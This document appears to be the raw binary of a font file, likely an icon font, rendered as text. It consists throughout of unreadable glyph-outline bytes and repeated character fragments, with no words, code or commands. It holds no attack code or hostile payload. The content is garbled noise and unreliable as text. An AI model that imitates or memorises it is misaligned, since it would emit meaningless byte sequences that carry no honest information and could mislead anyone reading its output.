+Q+2  u)Rb!'&'./767>?36"7>73632?67625&'&'&'&'#"&767676;2"!67>?>='&'&"#"/&'. !+  * 6 !+6&sm<!I,04 > !  !&%      qi 5& @  6&  !+T I  04   y I! 5%%   piK0"#";27676=3276764'&'&+54'&   #     #   #  `!>2#"'&'.54?67676#"3276?67>54'&'&&0'E*#+9 *?!"T !`$,8J<0 V1V9 ! T  T ) ) m2'&'&7676"#";276?67676?6?67676'&'&/&#"'&'&'.546?67>?>=4'&'&   2  #:%!%3  ! "-  , ' )  -"<1&)5    " U S20M@J/ #   , &#$#M:8, C. # E) #,X + #  1[i2332++"'&'&'.=#"'&'&'5&5&=456767676;5476?6;6""!5.'"3547>76 3>?5&'.'&'"#&!>75'&'&/aS  $  % 4\3 ,$  1I= L P  47) /4  '",(   1R=D2 `(%    =" 9-  =(& " D=?T     P\ )7& \P      K&:2#".=4676?'&'.=4>76"327654'&' =\\= և       =\\>  _    12322332++"'.'&5&5&'&'&"#""&/.'&'546767676727>54/.#'&'.'&'547>76735467676?63"#32+35476763235756?6?6?>?26?>54'&#&'&'&5/"/&'&'&'4'&# F.  .8  "; K0"    I $         FG  $0}$?& } ) -FD 1$!  .F 2      $ Z      ?6?>;6!+&'&/./&'&'5&74767676?6;6#3%#3%4632#"'&'&"&7463722+&/&'&/46?676?>;6!276+#"'&'&476762./&76?63#3'2'&'&546763"'&'&5&?>;6;2#"'&'&="#"27654.'&0E }   2`$ [J 5ڦ     U@"#AC  3  (-   =P     %  ! $  GC    [J  `_   _`"~   TP      "~      ! -(    S|   S  FC  ,))   !  u8Og{27'&'.54767676?67632+'"'&'&'&'&5476?63"#"32767654'&'&!"32?6764'&2! ??   % %&   @s@!'A  0(    2&  6 #0$    $  2*: S #0     $+4'vV2676?>?6;2#"'&'.'&'&'&'&"2"'./5676?>"327676?67326?67675'&'&/&";#"'&'&'./&'.'&'&   ?!  "!9='  ' ,/?w(6 &      (KK4*$) '      & &!,$!($    3!+-4) 7; ,    \P  .(""   +   P\         ?) 1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&2#"&/&/##"'&'&547676?6767#367>54'&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8VW1  L 98?   e@z  !0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%} & ,   d ML?B   SS s"#"3276?6?6767632#"'&'&'&'327>'&/&#32671656=3276?6?676?676?6767654'&/&'5&'&/&'&'&'& &#     ) 3 !)6*58!    #)7,<>  nn  37BN A/   9+&'    :3 -H@    =A &+      =  _p  !2 )"   $0$' 0 s"327676?6?132?5&'./";#"'&'&'&'&/&5476?6?6763232654'&/&'&'&&$'#i5 ',:0 3 B8+2   nn ><  9&3)"$'  @x V8 *3 !Q16? <|#J<217# !  2!  p_  $ - 'D #0 #P $@HbD)u02#"'&'&54767676#23#'&'&7676?3276767654'&'&+'"&'&'&'&'&5476?67676?673>3!"6=4&2#"&'&547676"32676=4&"4*4$  X VV'  4,"   +   dl je 1'^5$   #!u  !  &% T *   0 %C'$'S  )$  $0-+    ,  *  %1        =*   "T$S  )<i2'#"'&/&'&'&#"+'&'&7675>76?"&4?676;2#"'&'&'&'&#"232!#'&'&'&'&'&'&7546?6?676767!54>76"#"!67>7675'&'&/&462+"&7";2654&$  L'   ?` (16  ,M%-0l  ,#       y  W(  "ԏ_)   ls( '  &     )3:  * )   44&          $ <5    ]%     \M P\  ~ :  t+g~%"/4'&'&'&#"'&547>3232#"&'&/4'&'&'&'&/&'&'&#./&5476#"32767654&N&=nc`"!(MJ=A ,2 2 Y..2+     2 & 7 ) /'7?eaM% #.,2* TLaj  B$  (&"?)   " ( -u(~7&'676;63!#32#32+3+367>767!5#/5#/&'&=#'.'&=4 $1     )$+--+$"RS  S 8h)!vs   RS  SR"$+--+$Kc#"'&'&'&6?6?6?63727>732+./#"'&'&'&6?67676267&'#"3267654/&'&"32654'&q%)   3"/.    ./ #("  J)((   %   #0 !+>  %&2   ..    ..#&! &W   )))     `     0(1@s2'&/#"&/&'5&5476?67676?6?63#"32?6767676764'&'&/&/&'&'&/&R+    rq  rr)'' M'/& 3  < '&,,:F0 1"   7 1B3'!#40&( rr qr C/9f%* ;1)%  T '+6C2+# #9,   'S"&547676?62/&'&/'"#"32?676764'.'&'&/&SV'0 0'V   ,GG,  .'V 0'V   ,GG,  V'..'V   ,GG, "0'V.'V   ,GG, 2',2#"&'&/&'.54>%7630767w -dZ P F8pp?6?6;6"#" 76?6?676?6=4&/&'"&54767>32"!767676754&'&'&'&"654&'&'&:SL 3,    @/L H   3 y      1*      3   ,. ,   2$, 4" ,   /&  S   ./   /  #  & !/     ./  S 16\}2132?6321#1#"'&/&'#"#"'&'&'1.#"#"'&'&476?6754'&'&'&54?676767671>54/&547676323276767>7634&#"#'&'&'&/&#"#"'&/.#"327676323267676?676;232654'&'&5476767>4'&'&'&'&'&467>2#"/&'&'5&547676"276?>54/&'&'&#    L    !    F0  K   <   /  '  %! /       - G               # K. .E   $   0   @   $ 6!   (   <  @ ! F'    >#         2  A      ( ! + %)$ .&')!.S "  " 0m4'&547632#"/7632#"/&'&/&476='&'#"/&'&'&5467>76326?"276?>54/&'&'&"276?>54/&'&'&"276?>54/&'&'&T/k  &[ K0 ncc*< 1L*,  &[ K.$ #4 K. 1#*, $   $      $      $   m "^ +@`0 92 2 1 +@`.&' T # ." &%   Tu "  "  "  "  "  " 2O2;2"/&'&/&/&'&'&54767>76;276?6764'#"/&'&/&/+76767676?6'"'&'&"12>76.   '# +&+ %! $'HH  -)]5  0  M4gJ Y 6"1$ g  *.C 1 EH   X  1     2'TG;@"&$3 5> GBRa,!( @87  S20<5-/  \- )EG Y 2W232#"/&/&'&/&/&'&'&54767>76;276?6?6764'#"'&'&/&'&"+76?676?6?676?6%"11326716?132654&'1&/7671>54&#"1'&'&'&   5--$"%! "%   o@  0  QC<6   Z ).2) *&"   Fi @A '`    (  1  # *TG;@"&   8J HARa,!( $  97     20<5-/ F#6  7R- )    ' 2O2;2"/&'&/&/&'&'&54767>76;276?676'+76767676?654'#"/&'&/&   '# +&+ %! $'HH  -)]5  0  M4gJ  g  *.C 1 6"11     2'TG;@"&$3 5> GBRa,!( @gS20<5-/  \-  87  u1V_m2+!#"'&'.7657##1"&'&'&54?>?6?#"'&54676#!75'&'2654'&'&#"%"32676./&( % $" +)  7   d~B    1 (  R"4! #. 1:     %R  @Wq2 '&'&54676;6!2'&/'&'&=&'&7676762 '&'&54676;6"#" 76764'&'&B"   O @B  %  D@ S"   Oq\d        @C #  C?         # <Sl2 '&'&54676;6!27676/.'&47654762 '&'&54676;6"#" 7654'&'&l   d %    h"   OGGO  -"  #    "# "          u+;\!&/&'&/7>76;667.'%#"#'./&26736767676& #   ;!  $EH0 ]  V!  (   'g EG0\ V%t(8O!'&'&'&/767676;667.'%#"#";6764'&/      ""  $!7    + #    "g L  # u/?~!&/&'&/76?6?676;667.'%#"#";767>=3276764'&'&+54'4'1. #   ;   $ 5   5 .+  +.!  (   g  -,  ,- -, .  u+;|!&/&'&'7676?6;667.'%#"327>?32>54'./76767654&#"'. -  8 $ $       '   !  % (g        (    t&G2 '&'&7>76"!67>767&'.'&'2    V3*E##"      U*1 T#>###v>^2&$'&5476$6&"1276?632#'&'&4676"267>54&#"'&/&Q  U  QOMS  W   LT   xxw((OO'( WWWW"RU  OOO&)[<k2/&/&54?/&'&47676?676767673625&476?&'.'&'&' jUu= FB)" %zu>o@ ;76 ) NJu!Hn #0  ?Z    DA(CA=!O l?   nl4%W  r  &:_   ~tH|#"/&'&'&'&/&/&'.5476?67676?676?676?6;6";2?676767'&'&'&/&'&/&76?4327 U   )%,2  +!      .&G9  '= :=  $#<$)'G40'   N    *((!!      +R:)!2+    YP"/T@5+!".4F/  + #      14Ns2#"&'.=467676#"/./&5476?>32"&54?6?>7632'2#"'&'&'&5476767>#"32767654'&'.2#"&'&47>!2#"&'&'54676;6"&54?>?632%#"/./&54632">7654&'#&      $ $  $ )&! -$0 D/" % V          " $5 $     1"   $ $3   $  (3J8,$  'E6) T  )   "U)R        " $*$  #    t1,\4767!'&/&546372#"&546716?#'&"654'&/!676?>54'&/#7671>54& F10  WXXS 01(YK#01  10c 20  VX   WS 02   YJ 02   20 3a#"&'1&/#"&/&'&'#"&767676767632"'&'1.#"32767>&'&#"'&'& 02   20 9   WT 20 SW   WU  02 401  10#9!XT 8 10 SXYV01F L*Yo"&54?#&'&>?6;63#"'&/525767>+'&'&7676?3.'5476?>";>76./&q}Z 1+\  +" ^ &  `Z L %        9X ;5* % L  Z` %  `   2/Jgu2#"'&'&/&=&7676?67676;6"2>764'&'&/2#"'&'&54767>#";2676&}U  ~    15  3N *3E<6 5;E@   " $ 0  1   ~  Z0$ (' T 1*LQE;5 6763"#"327676?6?6?654&'&'&'&'&'&2#"'&'&'&'&54767>?63#";276767676=4'&/.'#&"#"32767>54'&'.mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#))") 9  =1)$ W% #"2 "  4       0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." T ,#+ U9 $"#+#):S2""  S     u~2#"'&'&54767676%2'./4'./&#""113326?67657>76#"'&'&'&'&54&7676?6?63"6=4&"4*4$   &          &-   'A r  ! %C'$($  '    %%]" : S  tM\2#"'&/&'&547676%2+323"+/&'&/67>76"654'&/&  %  #4 &4   {w"    !x $!  %7#&/8    gj $ T  1-<e#"'&'&'.54676767&6?6767632'"3545&'.#>7654&/&/&'&/5{' %A!'!#   > B{T *    ,+'  h!",8'!1 6,- 3-B1@>S     %   v;OSk&'567>;63'!!23#'.'6767!2 '.'&7>76#3%2"'.7676;6"#"27654&'&/&4 $1  7FC5 "Z` 4 ˦M   E>9E %   7t)   r4R =}A'  : " T !    ! "(9\m2#"'&7476?676'36#327>?2"'&/&'&54767>'2654'&/&C* J& NBJJ)B+y @T   A &C*    ?($  BJK*} *y}A  ["  * H n  uL2326?!+#"'&'&/.'./&'&'&"'.'67676?6#"3276?47471676?3267>54'&'./.!#3  $ N& % *1 #     *k2 BT    H-  )S  'Z  *y,     $ $> T VD rM  h^ #vL2132#/&'#""&/&/6?67627>7>?47>?63"!>764/&'.+'&'&'1&5&5'&#3'=(6!  # 6 # 9  ' " *     2!%   -H  )S2 <[%  "  $>."&/  S$   !^h  Mr#T1!&'.'&'547>7>76754'&'#.'&'&'&=46?>76;67!546?>;2326?676?5&'&547>7=&'&/.++"'.=#"#%#";27676=6.+ &3   I --'5  ! t$?# [ 0 % [  0 z  4&=J  JI >4'=J    J% & + d    d-'d    d-6  )    ) @q2 /&'&/&'&'&'&54?6?67676767676;6" 76?654/&/&/&'&/.#2#"&'&'&547676?#";2>'&,&  6(=  &&  "(=aRI.  :'Z[, !  .4; "#  #       0#4@&+ "  0#4@(*   T . &1 ;)I  . S%*4# )" T ! @q2 /&'&/&'&'&'&54?6?67676767676;6" 76?654/&/&/&'&/.#2#"&'&'1&'&5476763#";2654'&/.,&  6(=  &&  "(=aRI.  :'Z[, !  .4;G  "U -3     0#4@&+ "  0#4@(*   T . &1 ;)I  . S T"?&S! 5P2#"'&/#"/&'&'&/&'&'&5476767635'&'&767676"#'./67632654'&'&'&76?6'&'&'&'&1!$  wt   , tw '/:2'$     A  ! !2 T)+@3 x  ,4  (%08) wt !$  tw $0 # !   A  S3  S8*2 x ~   &&/9 u17;Pe~&5467673547676323 './&'&'5&'#3"!67>76542"&'&'567>;#"267675&'.-   8\S   -0$ S .  6%,(6  ,0%ζH  =  ST  S%m   m   ?";276?#;6767654'."'&'&'1&'&'&  FHttee   V ,Gpl  FGtu     \`V,Gpl?"#3'&'&+"276??676?267654/&'&/p  eettHF   lpG, V   utGGlpG,V`\   3%?2 '&'&54767>7676#"! 767676&.$'C 3(/+  ! $* 2 Ct '2 !5 T=9    q632#"/&32+"&'.=47676;5&'&'&'&=#"'&'.5467>7632547475673!32676?32676&#"%"2654&'.%   #  $  [   Z:  <@I@   %  &  T8I q"&  #%  #"; V  W@*G  # % 2 5Q"G  "1r2#"'&/567>32#"'&/&'&4767>232?676?>54'&'&'&#"#"'&/&5476?6763"'.67672"'&'&'&#"3276?>7632'"'&/&'&'&74?6?>76?676?63&'&5476763"675&'&Z     j$   ,ZU   5&              - "; 0,  cN8     Z0*     *0ZT   @  @     0  +2j(  ! 67 ZU        #  $  '8 Z1*D  # ZT      * 12  j u.b2'&/##"'&'&=&=4767676"; 7676=&'.#"!&'&/5&'& #  #nl    S    C   Ɋok /% M 0/  ^ *6 25P2+".=47676#"/&'&'&=47>;2"&54?67676;2'232#!"'.'&'567676?>;547676763"1354'4'1&'&2+"'.47>3!032+"&/.=4>#!5     #   5    T #   B(3  @  &q        1        #3     +6@H`  #`   H@W2 T : .GG. +R $     RR0)R|2#"'&/&'&'&547676"#"327>54'&/&/&'&2+".54767>;7>?63"#"7>76547>767627>76=4&/&'&'&'&'&'&'+  3  "= '-' (      _  G,)8  (    )0>)  &0V=S'   4!     ` G, $  (6 2)"2 6  !0)Rg2#"'&/&'&'&547>76"#"27>54'&/&/&'&&'&5467673"#"7>76546?676762>76=4&/&'&'&'&'+  *": '-' 5(    t  -6  8!  %4 %#;0I4  !'3-%:S' # 4!    S+  (6 2" !4$""6:$"0)R{2#"'&/&'&'&547>76"#"27>54'&/&/&'&&'&5476;567>2##"'&'5"#"7>76546?676762>76=4&/&'&'&'&'+  *": '-' 5(   +- ^  T  -6  8!  %4 %#;0I4  !'3-%:S' # 4!    T  ^ -+ ^S+  (6 2" !4$""6:$"0)R2#"'&/&'&'&547>76"#"27>54'&/&/&'&"&=>?'.=4676327>+"&/"#"7>76546?676762>76=4&/&'&'&'&'+  *": '-' 5(  + 6 <5  8 -6  8!  %4 %#;0I4  !'3-%:S' # 4!  a  8  ; 7 6 +  (6 2" !4$""6:$"#1'K2#"&'&'&'&547>76"#"327>54'&/&'&'&"#"17>76547676762>7654&/&'&'&'#&#&+  *Q,: '- 7 &(+8B  "(2  $!1 0"I4  I#-%:S   I% 4!   ` !M !7 2;  0'""6% 3'"182#"'&'&/&'&547676767676763532+5&67676?67676?6?67676?#&'&'&7676;'&'&'&'&/&/+"'&'&'"2676&@:/262C*65 ZJ:=/%"5$&CJ  J;6&'?@ @? ;G      0*B  ,*'$9  )"1:Nx A9.3 *#-  4% ^o J;5.! B (%8;6 #  9"!,B ,* F.     E51&h   %9m2#"./#"'"'.'&=47>76;767>+327"3276?67654'&'&'&36i& ! &A<-++-          * );9& "~"!TM f      #+2@ 8,*v%92#"./#"'"'.'&=47>76;767>+327"11326716?132654&'1&/7671>54&#"1'&'&'&36i& ! &A<-++-     (  ;9& "~"!TM f}    ' #`t2#"./#"'.'&=47>76;767>4632#"&'&5467676?6767654/&/&/&+327";26?676767654'&'&'#&36i& !! &A<     !   2  -++-          =;9&!"~"!TM R  %"#%8n(& )  '  !'eK     ('   !( T=C2#"'&/&/&/&/&#"#"'&'&476?6?6?6763"&546?6?6?6?6?6;2#"/&/&'&'&'&+"72'&/.#"'&'&76?676?6"7>4'&'&3 '');>    +D & KFH:   Ra  '  0 %80%-%   5   & X=  ! $ '    5   +"   $:    )          =       " 0&2#"'&'&54767676"6=4&"#";3276?5'&'&#'76=3"326?6767532>='&'&/&'#&#&"4*4$    ! ;      =T=       ;  0 %C'$'S    P  z      z P  12AL^k2#"'&'&'&'.54767676767363"7&/&36?6737&'&'&'&3'&=4?#%#365767564'5&/4'4'#;6"'&/&/3"26?6?#2?6?6?6?6?@:.262`*65 7/**[9; %D$&0?"    AAe08.&DE   ED5  MQ   OO ""$,&  !   E  #1:pA9.3 *#-  .LPo71)+J:Y '^/  *#< 1C*   &- 0 0 -- a  > S&- 6  -:# %% 1( + + %/"?6?>76&/7>.'&'&/&mppm pmmppm   mp  mppm pm mppmmp1Ap2'&/#"'&'#&'&'5&5476?67676?6?63"#"32676767654&/&/&'&'&"#33276?53767654&/&'&'#5&'&RBf5   rq  rr  7#7'%(!e& 3  <  '&  !>"$*+J(  -(/ /. _    ^  T  1!3j)40&( rr qr   T%* ;1)%  S  '+6$S% <$+0 S ./  T ^   _ 1Ap2'&/#"'&'#&'&'5&5476?67676?6?63"#"32676767654&/&/&'&'&"'&!767654&/&'&'RBf5   rq  rr  7#7'%(!e& 3  <  '&  !>"$*+J(  -(/)#    1!3j)40&( rr qr   T%* ;1)%  S  '+6$S% <$+0       1<N]p{2#"'.'&'&/&'&'&5476?6?676763&#"7672574'.'&/37/%376?'02?676?6767'&'1&";76?4#!&%)(&C#(2-8@%!F$%  #  #DXt:P  % '0,B!?  WW CMI $z  1xM $ W0PQ&.&2   0  -Nx H>35  42>H*$& F:Kp "*W" 8.v :-%8&-b  K6 r)!#X=    0"@#<#Q(`F"326=./!32?>?6/./&#"!7>754&'./ V5  \"\    \\ `V5   ]]     ]]  .b2'&/#"&'&'/&'.7>3!#"/./&;2>?6.'&'&&'.2    ^ 2  3     (=   ]  !2  2    (;" 1C";>?'.'#"?>?654&+32654/&'&'& WY  ]]     ]]  YW 1UX \\    \"\ XW@^m23545676763'&'&/&=!'&'&/&547>762"'&'&54?67676#!5/&'&'#.#  %3   f         vM1 {'  1$2^  BAAB   S    *CD %723.'&47676#7 7  T2&'.'&47676z  %&I"  %%J2'&'&7676'7    J  Jؔ$82 '&'&7567676!     (7   f2\}2322"'"'&'&'&'&'&7546?6?676?6;'&'&547676?6?6?6325476?6;6"#&32?676767&'&'&'"'&/&"#"!'";2654& , /4(K      5B! 3'  D.  !}}~&% ;   1 )/&#   ]%      5B   T)&1$)*I}  }a&%\MT  u)HLl!&/&'&'7676?6;6!>?5&'##'.'&75#%#32#'&/&/&'&'&476763"#"7>54& *;+  8 $r GF  .K%#%%  ! V !)<+ 6 % ( GGA=  WR *3%  RS  &J!&'&'&'&=47>?6;6"#!76767>'54&'&'&/232+#"&'&=#"'&'.7>76;546762/.6763"7676/.Z ! A  x3C2$ .3     =        @@E G @@&7TZ:8:S -      *   S    "&923#!"'.'&'547676;6!! # 7>4'&'#( ""7{ 49  &!"<T}  !+I"'&/&'&5476767676754/!7">54/&/7>54&    >A$B$<<<$  *'    lhmf76?6;667.'%#2#"&546?6763!2#"/&'&546?632#"&'&546!"32767654&'& ( /8 $  $x!+ %   .!  "" $>  "   #  % $/g &&"$   % #%  M2(MQl2+&'.'&'676?6?>;6"#!676?6=#"'&'&'&753'%232#"&'&?6767363+'".?676736"#"37676?6'&'& 1$ݼ"'4 'S.\ BE% TA     ~?'   _ 1 C %3  4'- -1T؟`*   %X;A!        2Yg|&54767>?63720?676322+#"&/&'&'&'&'5#"'&'&=7>7637";&'&!"36767654'&'&!!%!!#3#373676?>=   @2$!$"1A"   #  ' 4    # GF/V#i  #w# XXhXX b'  '76$)1' P1 76 |!G#! !   SSST, # *aX}276?67632#"'&/&/&/#"'&/&/&'&'&76?67676?63"#"32?6767&'&'&/.!"167676?>54/./&-!$  #%/=   '/@-$   3?V=   #*$# 0 #(    $%  / , `%  *  "6(##    "=  #. %R#   <  /       ++u$<ay2+.'&'&'&67>7676762+&'.546762+.'&'&'&67>7676762+&'.546762+.'&'&'&67>767676"3276764'&'&Dp   # 0 V e@  p   # 0 V e@  p   # 0 V     p#0> "   p#0> "   p#0>"  " u#3GWk2#"&54676!2 '&'&76762#"&54676!2 '&'&76762#"&54676!" 76764'&'&  .   .        "       "         " 1(3p23+"&/#'&'&/&/&=67676!323%"#"?>?37>76='&'&'&#"327>76/&'  o 34 7  $;$   6 1#  n t1 T6k  $;Y  9 : u%CH!"'./7>76;6"#3576?6736?35'.'#? #    $5! #$   hJJI  5!  'T     IJL2-Pl2722+&'.'&'676?6?>;6"#!676?656&'&'&/3+'".?676736262!'&'&/&76;6"27676=4'&'&0D? !1$ݼ"'4 'rh!  ؆ ~?'  M  DY  1 /--&4  4'- -1T؟`* (`)R         2P4'&5476;232##"'&54657##'&'&=67&'5476?337"#'./#37>?3;7676?3767676&/.#'&'&/&!C  OOP"!  $' KPOO"E]+  ''''  ,]2+  ,''+  +NM     MNk!   *4$  !+   MNNM   ,X   ,:789+   XO[#"1#+32!&'&/&767635#"/"'&'&/&/&=&#'"&?676736! 76?'#"'&/&?6?327>/.$ 3(Jo9    >gm    y  !2    ]   )5R   R   Tn !2 [  u1>\2'&'&=46?#'&/&7676?>76;'.=46762"'&'&=#"&5476?>?6"#7>=4&'&7>754&/;727>?676765'&'& ,] 65   :,6  "  T  06  6yA(   1+[   7/ 2'&'&=46?#'&/&7676?>76;'.=4676"#7>=4&'&7>754&/;727>?676765'&'& ,] 65   :,6  06  6yA(   1+[   7/ "#"37>?4'&#"!767676'&'&/!326765'&'&'rxpsss "  JddJ o  ! % "!33 (, VrrV ,( 33/ 2<23547>?'&1#"&54?>?62676;5.'&=4676;6376'1.54>2#"&'1&3>76;2#+"&'#767632"&'&'&546716/+"&/&'5&=4675#"/.'"/./&546321?'&'&=#+"'&'&=46?67363%"327676?>4&'&/&'&W <@   4 ,  ") :  A <W  W  @  :   .    $   A< W  ) &'(      :  A W   ++< @  : 1   )    $   A <W & W  @  : /   )   T )3%    6& u;Jp#!%&/&/7676?>?632%"#35'!5#"'"'1.'&'&54767>76;5!%'&"'";5L  H  5  9 1 )   ( #6    A? 6   9     611   ,  R R  S# S12+75&'&/&'&'&76?637232?676?676767676=#"&5476?3#"'&'.'&/&/&54&#"&'&7676?"276?>54/&'&'&   .)    %V G1  '     h    " !0>:(0;& #     $      ;:!   &]1 )  ^  & /   ( !  (&  0R  M "  " u[";2676/./3227676?6?6767654'&'&'&'&'"#!7>?6'&'&    2" 2(!<   !C2    2">&     0'  2   K["#";27>7>'&/.'&54767676;;27>76=4'.'&| 2R+    *0" !03 2    2+ "" $     *#2    fcu276767632#"/&/&'&/#"'&'.5476?6?'&'&'&547676?>"6?>7&'&!#"6?64'&/&&'6?67'2#"&'&76763276?67&/&/&/%2654'&'&)(*  <]       04   (&$-'   "       F%I #; D"    M>h%6J!  K@. '3 -  Y7.@5    ('!   (&$-'    %!% 164 ( T6( D F3'$ UQ  !?  !JAL6rEO " -  d,(06^hv2#"&/&/&'.54767>7676?63"32767676767654'&/&'&'&'&2".764632"&"&54676372#";2676&0)!"*    _O"!)/ 1  n*  $ `=   $ j %  X   /  )  R# aO  .. (! nS   =`  #  "% }    !% DVh2323+'&'&'&'676?6;6#3>7>4'&'&'"##3276?654/.'&"/    !  !  CRj% .  (H,     ()T %4- @ & v.BPdx2#"'&'&=&7>?67676?64632/.74632&2+"&5476?>"&546763724632/.%4632&"&54763272+"&5476?>32+".7676"&5476327";2654'._      (.     *    6                    Rd \++=  *    i    }    %S  #! S%S    K#0Qr2+".76764632/.%4632&2#"/&'&'&547676"276?>54/&'&'&"&54676372%#"'&'1&546?6372"&54767>32%2+"&'.=476?>"2>'&          &[ K.  .E   $     j        $ #! }    +@`."'.S "  " }  ,   %S  S  $  1/Hh2#"'&'&476+&'./&5476?>32"&=>?67>322#"'&/&'&'&76?63"276?>54/&'&'&232+".54676;6!232+".46?6;6"&54?6?67>32%#"/.'&'5476?>32%"7>76=4&'.     B By" BG1   $3'$  %V    $      !     ! " B5 B B 1". ]"B B3  " B1N  $  &]S "  " )     " B*B B . . 1<`ht|2#"'.'&'&/&'&'&5476?6?676763'7'&'&&76/&'&'&37676?676?6767#!&%)(&C#(2-8@%!F$%  #  #DXt# !0*%   ;G VR  PO a@A HG  20  -Nx H>35  42>H*$& F:KU  $8 8 ,hR APPe y@@f ,GG   BR u1!0ei~#!"'&/.'&7>76;667.'% "2+"'&/./&/&=476?>?6;6#32#/.54?676;2'.76;2'.46?632#/.54?676;2'.76;#"7>4&4(  ")"  % 11  H   #      1#)6 1P%/\ F         T)   }  #1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&"#";2+&'.;>76=32767654'&'&+&'.547676;6654'&'&+54'&'&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 80 )   (1 !1     383)  1 & '. 0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%)" $            > I%     ' u*=Qj2#"'&54676!2#"'.'&7>76+&'.46767!2#"'.6762323#&'.4676;6!23#'&'&7>?6;62#"'&54676!"327654&'&"x  ws  )s  sw |$wd   Z!  dw,  |l  =U  l|  @|x  ws  )y   ws            2"#""&'&'&'.'&#";7>76=327676?6767654'&'&/&/&'&'&'&'&5476?232654/./&/.+54'& '4  9 H )\V        &  .Rv \V    & 1"-+ .)!        +- -+  "   !  +-""#""3#33276?67>?6?654&+#"'#&/&'&'73676?>54'&/#'&4?3767654&/&'&'#'6767632654/&'&'&'&' ! 48 .  66  #$,   $   ' ! =& ]Q   Q] 8*'   #%, 8 '       !  /5     &  &      6    %    u'`u#""&/./76?6?>?6;62'&/&'.476?'&'&4>?676&'&'&='#!#">'&/&B (FF( * F _#  2BW2"'&'&'&=#"'&'&/&5767676?6736!'!!5476?6?6;#3##"'&'.=<+/! +  5 TM  A=h) 0* a#$F"  ) / 0R %T`  u/AX2#"'&/&5464632#"&'&572'.'&'&67632#"'&/&5462&'.546?63%223 '.'&547676;667.'&#"#"'"&5462"32676=4&        # "  u#)     )6 &! ` RY  !  $& '"       5( "B3 e !   S%  2 "6BQ2#"'&76#"'&'1&546?6372"&5467637272#"'&762".762"&'&'&'&547>76?6 #"'&/5&'&#& 2+".76762#"&/&'&/54762#"'&76"7>?&      ~  !   $ h 6.!&XV        4P(  @@j  C%)1" (  4  T"   $     ! /U.6 ` 3W M & ! S  (P4  S" )%C79y2#"/&'&'&'.?6767676?676?676?#"3276?6767671>76?6?654'&/&/&'&'&;.$!   &"?$',5sP    #.  # 26!  &   ")$ 30-/Z@;* C $P* # $"S$?'A-)72       qY2 %5>H%!'./.5476?6;6323264&"%367'J   .W     -3; OBB zluugl  .W   .4;  FCCΔ yvuhu2>dn!"'&'&'&/./&?67>76?6;6"#232+"'&=#"'&476;54676'37>?";27>4&'&' - 7)   o!"    <     B  !x!      )7  T:)  <    <  M: 407|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&#"264&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#) "8"!0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." &""6$KV2#"'&/."#"&/.#""'&'&/&=?676767676?6?6?676301326?>763226?67632276716?654'&'&/&/&'&/&+"72#"&'&'&547>"&462"267676?654'.#"#"/.%1# ) .(  L     /;    *   ']  &$  /       *?(    #"!  ~    G5   >rU  )%    Lw2!76767>='&'&'&54767632+#"'&'&547676?5#"'.'&=&'.547676;6#"32654'&/.!#";2>'&'&";26=4&0      /      -2% (  2- '2 3              3   *  !. Z ".)  #Z 1' ! *?& T   !    u632#"'&'&=46?676?6?676?6;632#&'&7676?2?6?676?67&/.'&547>76324'&'&'&#"#"276756=6'&'&!#"2767565'.'&) (*3! Z'&  + OB56 % +!8%-*,    &>4R1+ (3, ,  $   $   6.4/ ~FgZ' - %P$- Q~ %4 !/     #.6 / 9;B4, N%6_ A    %  /  u6Pf2 '&546?6;6#".'&'547676?632%2+&'&'5&=4676"#" 76764'&'& " OYV   e@  GO  -  "   8 YV  "   " u3J^2 '&'&76764632#"&5476?'&'&2 '&546?6;6" 76764'&'&e .   2 " O    "       t "      " :"#"13;#&367>4&'1&#&+767367>54&+&P:B  (FDS     (FD^ D u@Wn2+&'&/7676732"'.'&6;#"'&67>?632 '&546?6;62 '&546?6;6"#" 76764'&'&           ! " OG " OGGO  -  ##|") "    "     " 07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&#"'&632#"'&6322+#"&'&'&=#"/&'&?>767#327>=mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#    r)  ! B !*  0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." # #   , B   S L7;Hcy2+'&'&'&=#"'.'&7>?6;6#3#37676'.'232"&/&54676;6"32767676'&'&/&  5) -0" | SS뗗   N  , *0      (3   %HTF Q    <   v #"#3>7654&'&/&/&/&/&'&'&=476767676323654'&'#6767654/&/&/&'&'&'&'&/&/& 7*C!*!        2d)01  :   (   ,#  57>27&'.54?63"#"'&/&#"#"'&/&#676767654&  7367676'&/& ]W]  (  @q  --2K+ AAN =(@A x  )%S Tz2\   ^ /OR  G~  "~H  #= ll    _@!  \   /?24?>?6/.467632'."&546?>76?63"#"'&'&'54>76?62#"&/413'#"/&'&/&/&5476767"!76?6'&'&+"27676'&/3276767654&'&'&'& #     }    #   L    "!   a      _.(   !   / $   <1 #      '       *  k       ` .(   $  2R_p|&5467632!76767632"'&/&'!#"'&'&5476?">'.4&#"7>&'!!67"32676./&!"#"2654&/&R"X  \, 6  ,#"  &  ' , d  S778\8  C  &  >$R U  %#  &  #$ 6  /$  , i8877L%  " 2232322+"'&'.'&'&=46?67676?54&'&'!+"'&'.'&'&=46?67676?676?>;5'&'&'&'&=46?67676?6;6"367>7675&'&'&'"367>7675&'&'&'!"367>7675&'&'&'0  I(   - >0     - >0  / $Z   " T " T " T 1  #0 )  .10"   .     .10"   .    : ) -%  T T T  T T T TuEc2!547546232+#"'&'&/&'&'&=#"'&54676;567>3#327676767676=2 L,(  (,M  ,(  (, ֦ && (  C7||7C  ->  ) ,:"  ! $    !9v46327>32#"./#"&5476764'&'&"27>76237676'.'#'7654'&'.'& #c ]5>T #c]5>Ti"$     WZ  *+Y .a +}  tBLi  +}  tBLi       g&  ;u""'&'.46?6767632#"'&=67>7564&'."32>?32767>4'&'&476764&'&'&#"'.  $  %YU  ZW  ]5>T#c ]5>T #c   